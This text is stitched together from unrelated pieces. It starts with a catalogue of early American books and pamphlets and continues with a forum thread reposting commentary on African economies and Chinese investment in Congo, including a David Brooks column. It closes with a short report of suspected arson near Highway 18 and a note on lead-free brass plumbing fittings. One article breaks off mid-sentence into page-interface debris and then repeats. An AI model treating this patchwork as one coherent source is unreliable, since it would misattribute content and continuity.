|Franklin, Benjamin, 1706-1790. / [1744]
|An account of the new invented Pennsylvanian fire-places : wherein their construction and manner of operation is particularly explained, their advantages above every other method of warming rooms demonstrated, and all objections that have been raised against the use of them, answered and obviated : with directions for putting them up, and for using them to the best advantage, and a copper-plate, in which the several parts of the machine are exactly laid down, from a scale of equal parts.
|United Illinois and Wabash Land Companies. / [1796]
|An account of the proceedings of the Ilinois and Ouabache Land Companies : in pursuance of their purchases made of the independent natives, July 5th, 1773, and 18th October, 1775.
|Pennsylvania. Treaties, etc. 1745 / [1746]
|An account of the treaty held at the city of Albany in the province of New York by his excellency the governor of that province, and the honourable the Commissioners for the province of Massachusetts, Connecticut and Pennsylvania with the Indians of the Six Nations, in October 1745.
|Josselyn, John, fl. 1630-1675. / [1865]
|An account of two voyages to New-England : made during the years 1638, 1663 /
|Lincoln, Abraham, 1809-1865. / [c1889]
|An address /
|Emerson, G. (Gouverneur), 1796-1874. / [1843]
|An address delivered at Laurel Hill Cemetery, on the completion of a monument erected to the memory of Thomas Godfrey : June 1st, 1843 /
|Harrison, John P. (John Pollard), 1796-1849 / [1837]
|An address delivered at the twelfth anniversary celebration of the Union Literary Society of Miami University. August 8th, 1837 /
|Clinton, DeWitt, 1769-1828. / [1794]
|An address delivered before Holland Lodge, December 24, 1793 /
|Dallas, George Mifflin, 1792-1864. / [1831]
|An address delivered in the church at Princeton, the evening before the annual commencement of the College of New-Jersey, September 27, 1831 /
|Smith, William Loughton, 1758-1812. / [1794]
|An address from William Smith, of South Carolina, to his constituents.
|Morehead, James T. (James Turner), 1797-1854. / [1840]
|An Address in commemoration of the first settlement of Kentucky : delivered at Boonesborough the 25th May, 1840 /
|Sullivan, George, 1771-1838. / [1812]
|An address of members of the House of Representatives, of the Congress of the United States : to their constituents, on the subject of the war with Great Britain.
|Conyngham, Redmond, 1781-1846. / [1842]
|An address on the early settlement of the Valley of Pequea /
|Brown, Charles Brockden, 1771-1810. / [1803]
|An address to the government of the United States, on the cession of Louisiana to the French : and on the late breach of treaty by the Spaniards ; including the translation of a memorial, on the war of St. Domingo, and cession of the Mississippi to France, drawn up by a French counsellor of state.
|Marshall, Humphrey, 1760-1841. / [1796]
|An address to the people of Kentucky /
|An address to the people of Pennsylvania on the approaching election for governor.
|Green, Ashbel, 1762-1848. / [1802]
|An address to the students and faculty of the College of New-Jersey, delivered May 6th, 1802 /
|Clerc, Laurent, 1785-1869. / [1818]
|An address written by Mr. Clerc, and read by his request at a public examination : of the pupils in the Connecticut Asylum before the governour and both sides of the Legislature, 28th of May 1818.
|Armstrong, Edward, 1846-1928. / [1852]
|An address, delivered at Chester, before the Historical Society of Pennsylvania, on the 8th of November, 1851 /
|An Anglo-Chinese calendar for the year 1848 : corresponding to xxthe year for the Chinese cycle era 4485 or the 45th year of the 75th cycle of sixty being the 28th year of the reign of Taukwang.
|Kent, James, 1763-1847. / [1829]
|An anniversary discourse delivered before the New-York Historical Society, December 6, 1828 /
|Cheetham, James, 1772-1810. / [1800]
|An answer to Alexander Hamilton's Letter, concerning the public conduct and character of John Adams, Esq., president of the United States /
|American Republican. / [1809]
|An answer to Pericles' grand appeal to the nation : on this most important question "Are happiness and freedom consistant with foreign commerce, at all events?" and on the "Necessity or non-necessity of a war" /
|An answer to the charge against Gen. Taylor and his friends, of opposition to naturalized citizens and hostility to Catholics.
|Watson, Richard, 1737-1816. / [1797]
|An apology for the Bible, : in a series of letters, addressed to Thomas Paine, author of a book entitled, "The age of reason, part the second, being an investigation of true and fabulous theology /
|An appeal to the people of the city of New York, on the proposed alternation of the Charter of the City /
|Cameron, Archibald, 1771?-1836. / [1811]
|An appeal to the Scriptures : for their decision relative to the design, extent, and effect of the propitiation made by Jesus Christ /
|Mombert, J. I. (Jacob Isidor), 1829-1913. / [1869]
|An authentic history of Lancaster County : in the state of Pennsylvania /
|Thomson, Charles, 1729-1824. / [1759]
|An enquiry into the causes of the alienation of the Delaware and Shawanese Indians from the British interest : and into the measures taken for recovering their friendship ; extracted from the public treaties, and other authentic papers relating to the transactions of the government of Pensilvania and the said Indians, for near forty years ; and explained by a map of the country ; together with the remarkable journal of Christian Frederic Post, by whose negotiations, among the Indians on the Ohio, they were withdrawn from the interest of the French, who thereupon abandoned the fort and country ; with notes by the editor explaining sundry Indian customs, &c /
|Humphreys, David, 1752-1818. / [1818]
|An essay on the life of the Honourable Major General Israel Putnam : addressed to the state Society of the Cincinnati in Connecticut, and first published by their order /
|Porter, William Augustus, 1821-1886. / [1855]
|An essay on the life, character and writings of John B. Gibson, LL. D. : lately chief justice of the Supreme court of Pennsylvania /
|Gilpin, Henry D. (Henry Dilworth), 1801-1860. / [1847]
|An eulogy on Silas Wright : delivered before the Young Men's Democratic Association of the city and county of Philadelphia on the 12th of November, 1847 /
|Fraser, Charles, 1782-1860. / [1807]
|An eulogy on the character of Lucius Bellinger, esq. : delivered in the Baptist meeting house, in this city, on the evening of the 22nd December, 1806 ; by appointment of the Philomathean society /
|Binney, Horace, 1780-1875. / [1835]
|An eulogy on the life and character of John Marshall : Chief Justice of the Supreme Court of the United States, delivered at the request of the councils of Philadelphia, on the 24th September, 1835 /
|An examination &c.
|Smith, William, 1727-1803. / [1774]
|An examination of the Connecticut claim to lands in Pennsylvania : with and appendix, containing extracts and copies taken from original papers.
|Carey, Mathew, 1760-1839. / [1828]
|An examination of the Report of a committee of the citizens of Boston : and its vicinity, opposed to a further increase of duties on importation /
|United States. Army. Corps of Topographical Engineers / [1852]
|An expedition to the valley of the Great Salt Lake of Utah : including a description of its geography, natural history and minerals, and an analysis of its waters ; with an authentic account of the Mormon settlement ; illustrated by numerous beautiful plates, from drawings taken on the spot, also a reconnoissance [sic!] of a new route through the Rocky Mountains and two large and accurate maps of that region /
|Dallas, Alexander James, 1759-1817. / [1815]
|An exposition of the causes and character of the late war with Great Britain.
|Hale, James W. / [1832]
|An historical account of the Siamese twin brothers, from actual observations.
|Forwood, W. Stump (William Stump), 1830-1892. / [1870]
|An historical and descriptive narrative of the Mammoth Cave of Kentucky : including explanations of the causes concerned in its formation, its atmospheric conditions, its chemistry, geology, zoology, etc., with full scientific details of the eyeless fishes /
|Thomas, Gabriel. / [1848]
|An historical and geographical account of the province and country of Pensilvania, and of West-New Jersey in America : the richness of the soil ... the strange creatures ... the natives ... the first planters, the Dutch, Sweeds and English, with the number of its inhabitants ; as also a touch upon George Keith's new religion, in his second change since he left the Quakers ; with a map of both countries /
|Warner, J. J. (Juan José), 1807-1895. / [1876]
|An historical sketch of Los Angeles County, California : from the Spanish occupancy, by the founding of the Mission San Gabriel Archangel, September 8, 1771, to July 4, 1876.
|Phillips, Henry, 1838-1895. / [1862]
|An historical sketch of the paper money issued by Pennsylvania : together with a complete list of all the dates, issues, amounts, denominations, and signers /
|McMahon, John V. L. (John Van Lear), 1800-1871. / [1831]
|An historical view of the government of Maryland : from its colonization to the present day /
|Davis, Walter Bickford. / [1876]
|An illustrated history of Missouri : comprising its early record, and civil, political, and military history from the first exploration to the present time, including an encyclopaedia of legislation during the administrations of the governors from M'Nair, 1820, to Hardin, 1876 ; with the topography, geology, and geography of the state ; historical sketches of religious denominations ; of schools and colleges ; of the counties separately, embracing narratives of pioneer life, personal reminiscences, description of localities, soil, and climate ; agricultural, commercial and educational advantages, and biographical sketches of prominent citizens /
|Egle, William Henry, 1830-1901. / [1876]
|An illustrated history of the commonwealth of Pennsylvania : civil, political, and military, from its earliest settlement to the present time including historical descriptions of each county in the state, their towns, and industrial resources /
|Goodrich, De Witt C. / [1875]
|An illustrated history of the state of Indiana : being a full and authentic civil and political history of the state from its first exploration down to 1875 ; including an account of the commercial, agricultural and educational growth of Indiana ; with historical and descriptive sketches of the cities, towns and villages ... together with biographical sketches and portraits of the prominent men of the past and present, and a history of each county separately /
|Atwater, Jeremiah, 1744-1835. / [1809]
|An inaugural address delivered at the public commencement of Dickinson College, September 27th 1809 : by Jeremiah Atwater, upon his induction into the office of principal in said college /
|Ashburton, Alexander Baring, Baron, 1774-1848. / [1808]
|An inquiry into the causes and consequences of the Orders in council : and an examination of the conduct of Great-Britain towards the neutral commerce of America /
|Caldwell, Charles, 1772-1853. / [1810]
|An oration commemorative of the character and administration of Washington : delivered before the American Republican Society of Philadelphia, on the 22d day of February, 1810.
|Doddridge, Joseph, 1769-1826. / [1817]
|An oration delivered before the Masonic Society of Wellsburgh and its vicinity on St. John's Day, June 24th, 1817 /
|Kean, Peter, 1788?-1828.
|An oration delivered in the Presbyterian Church at Elizabeth-Town, (N. J.) on Saturday, July 4, 1812.
|Brown, John Mason, 1837-1890. / [1882]
|An oration delivered on the occasion of the centennial commemoration of the battle of the Blue Licks, 19th August, 1882 /
|Smith, William, 1727-1803. / [1776]
|An oration in memory of General Montgomery, and of the officers and soldiers, who fell with him, December 31, 1775, before Quebec; drawn up (and delivered February 19th, 1776.) at the desire of the honorable Continental congress,
|Williams, Peter, 1780?-1840. / [1808]
|An oration on the abolition of the slave trade : delivered in the African church, in the city of New York, January 1, 1808 /
|Addison, Alexander, 1759-1807. / [1798]
|An oration on the rise and progress of the United States of America, to the present crisis : and on the duties of the citizens /
|Bristed, John, 1778-1855. / [1814]
|An oration on the utility of literary establishments : delivered (at the request of the proprietors) at the opening of the literary rooms in New-York, on the eleventh of February, 1814 /
|Warner, H.W. (Henry Whiting), 1787-1875. / [1814]
|An oration, delivered at Washington-Hall, February 22, 1814, before the Washington Benevolent Society, of the City of New-York : in commemoration of the nativity of George Washington /
|Hopkins, Samuel Miles, 1772-1837. / [1809]
|An oration, delivered before the Washington Benevolent Society, in the city of New-York : at Zion Church, on the twenty-second of February, 1809 /
|Paterson, William B. / [1815]
|An oration, delivered February 22d, 1815, before the New-Jersey Washington Benevolent Society, in the city of New-Brunswick /
|Wells, John, 1770-1823. / [1798]
|An oration, delivered on the Fourth of July, 1798, at St. Paul's Church : before the Young Men of the City of New-York, assembled to commemorate their national independence /
|Morris, Gouverneur, 1752-1816. / [1814]
|An oration, delivered on Wednesday, June 29, 1814, at the request of a number of citizens of New-York : in celebration of the recent deliverance of Europe from the yoke of military despotism /
|An oration, etc.
|Ridgely, David, 1790?-1841? / [1841]
|Annals of Annapolis : comprising sundry notices of that old city from the period of the first settlements in its vicinity in the year 1649, until the war of 1812 : together with various incidents in the history of Maryland, derived from early records, public documents, and other sources ; with an appendix, containing a number of letters from General Washington, and other distinguished persons, which letters have never been published before /
|Waddell, Joseph Addison, 1825-1914. / [1886]
|Annals of Augusta County, Virginia : with reminiscences illustrative of the vicissitudes of its pioneer settlers ; biographical sketches of citizens locally prominent, and of those who have founded families in the southern and western states ; a diary of the War, 1861-'5, and a chapter on reconstruction /
|Griffith, Thomas Waters, 1767-1838. / [1833]
|Annals of Baltimore /
|Hazard, Samuel, 1784-1870. / [1850]
|Annals of Pennsylvania, from the discovery of the Delaware /
|Watson, John Fanning, 1779-1860. / [1830]
|Annals of Philadelphia : being a collection of memoirs, anecdotes, and incidents of the city and its inhabitants, from the days of the Pilgrim founders...to which is added an appendix, containing olden time researches and reminiscences of New York city /
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February 06, 2012, 10:56:12 AM »
Ndubuisi Ekekwe
Ndubuisi Ekekwe is a founder of the non-profit African Institution of Technology. He recently edited Nanotechnology and Microelectronics: Global Diffusion, Economics, and Policy.
Africa Is Open for Business
9:24 AM Monday February 6, 2012
by Ndubuisi Ekekwe | Comments (2)
Angola is offering financial aid to debt-ridden Portugal. The Economist recently declared Africa a "hopeful continent" after years of writing it off as "hopeless." More than a million Chinese are in Africa exploring opportunities in villages and cities. The continent is attracting top global brands and has a growing middle class. There's a sense of upbeat optimism with possibilities that seem endless. As the lions roar from Kenya to Ghana, and cheetahs from South Africa to Mali, young Africans are unleashing their entrepreneurial energy and most governments are offering stronger leadership, a more business-friendly economy, and less corruption.
But, Africa is not an isolated island in the world, and ongoing uncertainty with some of its trading partners could imperil any sustainable progress. A trade shock is just around the corner, as the continent remains reliant on a mineral-based economy. And new, rosy economic statistics have not managed to stop strikes, riots, and other protests, which are the result of the continued reality of economic inequality. What's more, Africa is complex, fragmented and multicultural. What works in Nigeria is not guaranteed to work in Kenya.
But, none of this should keep businesses from expanding into African markets. The international community should not ignore a growing market of roughly a billion people. Africa needs about $50 billion to meet its development goals over the next few years, and it needs the help of the international community to tackle the vicious cycle of poverty, disease and hunger in Africa today.
African economies are growing, and millions have moved into the middle class category within the last decade. And Africans are buying things, from iPads to Porsches. Africans are also becoming global players, with some of their banks such as United Bank for Africa and Guaranty Trust Bank opening offices in the U.S., France Flag Like ReplyReply Real-time updating is paused. (Resume)
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Angola is offering financial aid to debt-ridden Portugal. The Economist recently declared Africa a "hopeful continent" after years of writing it off as "hopeless." More than a million Chinese are in Africa exploring opportunities in villages and cities. The continent is attracting top global brands and has a growing middle class. There's a sense of upbeat optimism with possibilities that seem endless. As the lions roar from Kenya to Ghana, and cheetahs from South Africa to Mali, young Africans are unleashing their entrepreneurial energy and most governments are offering stronger leadership, a more business-friendly economy, and less corruption.
But, Africa is not an isolated island in the world, and ongoing uncertainty with some of its trading partners could imperil any sustainable progress. A trade shock is just around the corner, as the continent remains reliant on a mineral-based economy. And new, rosy economic statistics have not managed to stop strikes, riots, and other protests, which are the result of the continued reality of economic inequality. What's more, Africa is complex, fragmented and multicultural. What works in Nigeria is not guaranteed to work in Kenya.
But, none of this should keep businesses from expanding into African markets. The international community should not ignore a growing market of roughly a billion people. Africa needs about $50 billion to meet its development goals over the next few years, and it needs the help of the international community to tackle the vicious cycle of poverty, disease and hunger in Africa today.
African economies are growing, and millions have moved into the middle class category within the last decade. And Africans are buying things, from iPads to Porsches. Africans are also becoming global players, with some of their banks such as United Bank for Africa and Guaranty Trust Bank opening offices in the U.S., France and the U.K. Investments in the continent will grow, and the following areas remain the most promising:
Energy: Despite the abundance of resources like solar, oil, water and gas, most Africans still have no reliable energy supply. The challenge has been the cost-intensive, long-term reward nature of these projects in unpredictable political systems. It's simply too risky for businesses to invest in this sector. Minerals: As the world economy recovers, African minerals such as crude oil and gold will remain important to the global economy, as demand increases. Investing in extracting and processing these minerals will remain a lucrative venture. Agriculture: Africa is unfed in a continent with good, arable land. Africa imports its food, despite the fact that it produces enough to feed its citizens. The problem is that harvests are poorly managed due to a lack of preservation techniques, which means that much of the food goes to waste and Africa goes hungry even after bumper harvests. Food production, processing, and preservation will remain a profitable growth area. Technology: Africa has not attracted capacity-building investments, such as R&D centers and hi-tech manufacturing. In the coming years, as global buyers become more sophisticated, companies that differentiate their products within local markets will have a strong competitive advantage. Africa is no exception. For example, telecoms can be profitable in Africa not for selling airtime, but for powering value-added services such as mobile banking and mobile business, among others, that address the needs of this unique population. Four things will drive the African economy in this decade:
African diasporas: The diasporas who have acquired world-class skills with international networks will drive sustainable African development. As the global economy recovers from recession, their impact will continue to expand. Education: Education is a weak link in the development of the continent. Major foreign investment has not come to the sector owing to low return, but some African governments are working hard to change that. For instance, Rwanda and Carnegie Mellon University have teamed up to offer a graduate-level program in East Africa. The new campus will train talent for companies who want to make products closer to Africans. Better education will also serve to advance the entrepreneurial ecosystem on the continent. Intra-trade: The trade route to colonial links will become weaker as these nations become richer and make choices purely based on market factors. For instance, Cameroon could choose South Africa, rather than France, to process some of its food. Infrastructure: Though the regional economic communities (RECs) have not lead to monetary unions, Africa is poised to benefit from the integration of its various economies, and can learn from the euro zone crisis when strategizing about its own single currency program (PDF). The RECs will form free trade areas, which will help modernize infrastructure, among other things. Africa's biggest risk is its political system. New governments have cancelled mine contracts and leases executed by predecessors. The continent faces challenges if it cannot prepare for its post-mineral era. As I drive by dead mines that generated billions of dollars of wealth around the world, but left no sustainable community development behind, I have to wonder: What will the domino effect be if the continent cannot transmute effectively into a post-mineral era? Africa needs a redesign of its economy towards a knowledge-driven one. New industries remain underfunded and quality startups are scarce.
Africa is open for business, and tomorrow's global leaders should understand both the risks and the opportunities that are available here. There is the potential for corporations to make billions of dollars in profits in Africa. But, much more importantly, contributing to a strong and sustainable Africa could just be the next generation of global leaders' greatest legacy.
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February 07, 2012, 10:14:40 AM »
While this article does not seem to fall into any of them, as the Seach function reveals please be aware that there are a number of threads dealing with various parts/aspects of Africa see e.g. "US-Africa"
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Chinese style "colonialism" in Africa
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As Africa welcomes more Chinese factories, a new wariness sets in
In Congo, Chinese are settling in with businesses and bargains that locals love. But at a giant copper smelting plant, Chinese and locals work together but live apart.
Christian Science Monitor
Jacob Kushner 2 hours ago
Some 6,000 miles away from his home in China, Robin Wei awakes on a cot beneath a white mosquito net. He gets dressed, opens the door of his bunker, and walks out into the rainy season toward the factory where he works.
Four years ago, Mr. Wei bade goodbye to his wife and daughter in Shanghai and boarded a flight to the heart of Congo's mineral belt. He lives and works at a Chinese-owned smelting plant that extracts copper from the rich ore, which is then sold for wire and pipes that go into building skyscrapers and cargo ships.
Congo also holds nearly half the world's known reserves of cobalt. It has vast reserves of high-grade copper, tantalum, and tin. Just 10 years ago, a ton of copper could fetch $1,700 on the world market. Today it goes for about $8,000.
Wei is one of hundreds of thousands of Chinese men and women as many as 1 million by some estimates who, at least for now, call Africa home. (Wei goes home to visit his wife and daughter once a year.) China has been investing heavily in Africa for more than a decade, and both China and its migrants are in what could be called a settling-in period as the story of a fast-growing Africa and a rising China unfolds.
Congo is increasingly influenced by the penetration of all things Chinese, and that in turn is bringing high hopes for development.
But it is also raising wariness here that Africa's new benefactor may sometimes be driven by the same self-interested motives as the Western nations that preceded it in the colonial and postcolonial periods.
Like most Chinese here, Wei lives a separate life, socializing exclusively with his Chinese co-workers except for an occasional foray down the street to buy groceries and exchange pleasantries with a Congolese street vendor.
Yet to the Congolese, the Chinese have increasingly become a necessary part of everyday life. To buy a cellphone, people go to Chinese electronics shops that offer knock-off Blackberry models at a third of the market price. When people want to enjoy a soccer game, they take a seat in the bleachers at Kinshasa's "Martyrs Stadium," a gift from China in 1993. A drive through downtown Kinshasa runs along a grand central boulevard, newly widened and repaved by a Chinese construction company.
Down the road from Wei's copper-smelting plant in the town of Lubumbashi, a Chinese doctor treats Congolese and Chinese patients with a combination of modern pharmaceuticals and ancient Chinese acupuncture. Grocery stores sell Chinese rice and sauces; there is even a Chinese casino.
Many Africans have welcomed Chinese migrants and their businesses. In a 2009 survey of 250 people in nine African countries, three-quarters said the Chinese way was a "very positive" or "somewhat positive" model of development.
Increasingly that Chinese model is defined by huge deals in which Chinese companies mine minerals or extract oil and build needed infrastructure for the African nation, often using Chinese skilled labor to do so.
The rising price of copper, for example, has prompted two Chinese state-owned companies to open the largest mine Congo has ever seen. In exchange for the rights to mine potentially billions of dollars' worth of copper for more than two decades, these companies are spending $3 billion upfront to build roads, bridges, and hospitals in Congo.
The Chinese are replicating this minerals-for-infrastructure model in other African countries, notably Zimbabwe, Guinea, and Angola. In 2009, China surpassed the United States as Africa's largest trading partner.
That China has moved 600 million people out of poverty over the past 35 years is a source of admiration for some African elites.
When asked in a different survey which model of development offers more promise for Africa's future the Western one, which tends to keep private business separate from infrastructure that is considered "aid," or the Chinese model, which blends the two Africans responded overwhelmingly with the latter. Many see China as more welcoming than the US. Twice a week, a line forms outside the Chinese Embassy in Kinshasa as Congolese students and businessmen arrive to apply for visas to work or study in China. They say it's far easier to get a visa to go there than to the US.
As relations deepen, however, a wider rift is opening between Chinese and Congolese at the workplace. Congo's leaders laud Chinese investors for creating jobs. But some here note that large Chinese companies often employ Chinese workers to do jobs that could easily be done by Congolese. Even Congolese who do get hired by Chinese companies may find their high expectations dashed.
On a rainy morning in Kinshasa, a group of Congolese men huddle under the overhang of a tin roof. The men are employed by the China Railway Engineering Corp. (CREC), a large construction company that is widening and paving the road that connects Kinshasa's airport to its downtown.
The men have been hired to dig trenches, direct traffic, and carry supplies, for which they earn $65 per month, just slightly above the minimum wage here.
The workers say they hardly interact at all with their Chinese managers. They eat and live separately from them. And they say most Chinese don't learn the local languages, French and Lingala, making conversation impossible. The men dress in street clothes because CREC doesn't provide them with uniforms.
"They don't give us boots or helmets. We work like this," says Maba Litile, pointing to the sandals he's wearing. "We work really hard, but the money is too little. If I found another job, I'd leave."
Far away on the outskirts of a mining town called Kolwezi, men, women, and often children spend their days digging with picks and shovels for bits of copper ore. Each week they push bicycles and wheelbarrows laden with bags of those rocks to sell to the Chinese.
In a riverbed that runs through town, Kayenda washes and cleans a batch of rocks before selling them. Like most Kolwezi miners, Kayenda says she's grateful to the Chinese for providing a means by which her family can earn an income. But also like many, she resents that the Chinese are getting rich off her hard work and her nation's minerals. "The way they are helping is giving jobs, but also they are stealing from us," she says.
Some see China as merely the newest player in a centuries-old pattern of foreign powers coming to make their fortunes from Congo's natural resources.
In theory, Congo should be rich, given its vast mineral wealth. But one wouldn't know it by looking at how the majority of Congo's 76 million people live. Rural families sleep in huts that flood when it rains. Only 4 percent have electricity.
Life in cities can also be bleak, as urbanites hustle to earn enough income to subsist. Despite its resources, Congo is the least developed country in the world, and it is also the world's most unlikely place for an individual to improve his or her livelihood, according to the United Nations.
It is hardly lost on Congolese that billions of Western aid and investment dollars have not alleviated Congo's poverty. Some say the West has had its chance. Yet the question of whether China will improve life in Congo more than did the investors who came before it remains unanswered.
On a rainy morning back at the copper-smelting factory where Wei works, a group of muscular Congolese men swing sledgehammers over their heads, then bring them crashing down upon black boulders. More men enter the machinery yard through a metal gate.
"Congolese, they really don't have a sense of time and distance. They're supposed to work at 7:30 but they come at 8 or 8:10 or 8:20," says Wei, who seems more intrigued than concerned.
Behind them, the three-story furnace melts the ore into copper lava, sending dust particles into the air. After an hour of watching rocks transform into molten copper, it becomes impossible to take a full breath without a burning sensation in the lungs. Yet only the few Congolese workers who handle the molten copper are given protective face masks.
All week, Wei and his Chinese colleagues work side by side with the Congolese men. As is typical for first-generation Chinese abroad, they eat only Chinese food while their Congolese employees place a pot atop the hot copper at the factory to cook cassava flour a traditional East African lunch.
But on the weekends, Chinese workers struggle to feel at home in a place that remains largely foreign to them. Wei is one of only a few who speak the local languages. Some of Wei's Chinese co-workers say they have come seeking adventure. They are often new college graduates who face scarce job prospects at home, or they are leaving jobs in China to earn more money in Africa.
But in reality, Wei's co-workers tend to stay isolated from Congolese society altogether, rarely venturing beyond the concrete walls of the smelting complex. They spend their weekends tending gardens planted with Chinese vegetables, playing table tennis, and singing karaoke. Many are simply reconstructing their lives in China, here.
For many, China's influence in Congo will depend upon whether the Chinese stick around.
Some Chinese have lived here for more than a decade and intend to stay. But the business that brings so many Chinese migrants to Congo today could one day lure them away again as opportunities arise in other places. Whether the Chinese will be transient or put down roots here in Congo remains to be seen.
This story was adapted from the new e-book "China's Congo Plan." Reporting was supported by the Pulitzer Center on Crisis Reporting and the Columbia University Graduate School of Journalism.
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Heh. The more powerful China becomes, the more Africa will recall fondly the days of european colonialism.
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POTH: Brooks: The Battle of the Regimes
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The Battle of the Regimes
James Mwangi grew up on the slopes of the Aberdare Mountains in central Kenya. His father lost his life during the Mau Mau uprising against the colonial authorities. His mother raised seven children, making sure both the girls and the boys were well educated. Everybody in the family worked at a series of street businesses to pay the bills.
He made it to the University of Nairobi and became an accountant. The big Western banks were getting out of retail banking, figuring there was no money to be made catering to the poor. But, in 1993, Mwangi helped lead a small mutual aid organization, called Equity Building Society, into the vacuum.
The enterprise that became Equity Bank would give poor Kenyans access to bank accounts. Mwangi would cater to street vendors and small-scale farmers. At the time, according to a profile by Anver Versi in African Business Magazine, the firm had 27 employees and was losing about $58,000 a year.
Mwangi told the staff to emphasize customer care. He switched the firms emphasis from mortgage loans to small, targeted loans.
Kenyans got richer, the middle class boomed and Equity Bank surged. By 2011, Equity had 450 branches and a customer base of 8 million nearly half of all bank accounts in the country. From 2000 to 2012, Equitys pretax profit grew at an annual rate of 65 percent. In 2012, Mwangi was named the Ernst & Young World Entrepreneur of the Year.
Mwangis story is a rags-to-riches Horatio Alger tale. Mwangi has also become a celebrated representative of the new African entrepreneurial class, who now define the continent as much as famine, malaria and the old scourges.
But Mwangis story is something else. Its a salvo in an ideological war. With Equity, Mwangi demonstrated that democratic capitalism really can serve the masses. Decentralized, bottom-up capitalism can be the basis of widespread growth, even in emerging markets.
That theory is under threat. Over the past few months, weve seen the beginning of a global battle of regimes, an intellectual contest between centralized authoritarian capitalism and decentralized liberal democratic capitalism.
On July 26, for example, Prime Minister Viktor Orban of Hungary gave a morbidly fascinating speech in which he argued that liberal capitalisms day is done. The 2008 financial crisis revealed that decentralized liberal democracy leads to inequality, oligarchy, corruption and moral decline. When individuals are given maximum freedom, the strong end up stepping on the weak.
The future, he continued, belongs to illiberal regimes like Chinas and Singapores autocratic systems that put the interests of the community ahead of individual freedom; regimes that are organized for broad growth, not inequality.
Orbans speech comes at a time when democracy is suffering a crisis of morale. Only 31 percent of Americans are very satisfied with their countrys direction, according to a 2013 Pew survey. Autocratic regimes which feature populist economics, traditional social values, concentrated authority and hyped-up nationalism are feeling confident and on the rise. Eighty-five percent of Chinese are very satisfied with their countrys course, according to the Pew survey.
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It comes at a time when the battle of the regimes is playing out with special force in Africa. After the end of the Cold War, the number of African democracies shot upward. But many of those countries are now struggling politically (South Africa) or economically (Ghana). Meanwhile, authoritarian Rwanda is famously well managed.
Chinas aggressive role in Africa is helping to support authoritarian tendencies across the continent, at least among the governing elites. Total Chinese trade with Africa has increased twentyfold since 2001. When Uganda was looking to hire a firm for an $8 billion rail expansion, only Chinese firms were invited to apply. Under Jacob Zuma, South Africa is trying to copy some Chinese features.
As Howard French, the author of Chinas Second Continent, points out, China gives African authoritarians an investor who doesnt ask too many questions. The centralized model represses unhappy minority groups. It gives local elites the illusion that if they concentrate power in their own hands theyll be able to move decisively to lift their whole nation. (Every dictator thinks hes Lee Kuan Yew.)
French notes that popular support for representative democracy runs deep in most African countries. But there have to be successful examples of capitalism for the masses. There have to be more Mwangis, a new style of emerging market hero, to renew faith in the system that makes such people possible.
President Obama is holding a summit meeting of African leaders in Washington this week. But U.S. influence on the continent is now pathetically small compared with the Chinese and Europeans. The joke among the attendees is that China invests money; America holds receptions.
But what happens in Africa will have global consequences in the battle of regimes. If African nations succumb to the delusion of autocracy, well have Putins to deal with for decades to come.
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A suspected arsonist, reportedly wearing a blue polo shirt and jeans, was seen running up the mountainside near Highway 18 and Old Waterman Canyon Road. San Bernardino police are searching for the suspect. Sheriff's helicopter, 40-King, is overhead.
This is the same area where the 2003 Old Fire was set.
The first fire ignited shortly before 3 p.m. near Highway 18 and lower Old Waterman Canyon Road, according to the California Highway Patrol website.
San Bernardino City firefighters reported as they were putting out the first small spot fire, a person was setting a second blaze in the brush, according to reports. Then a short time later a third fire was reported.
Old Waterman Canyon Road has been shut down as of 3:06 p.m., but Highway 18 remains open, according to reports.
More details to come.


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MADISON, SD -- G.A. Murdock Inc. reports that its Mur-lok female flare fitting is now formed from lead-free brass. The company explained that this construction conforms to the requirements of the Reduction of Lead in Drinking Water Act.
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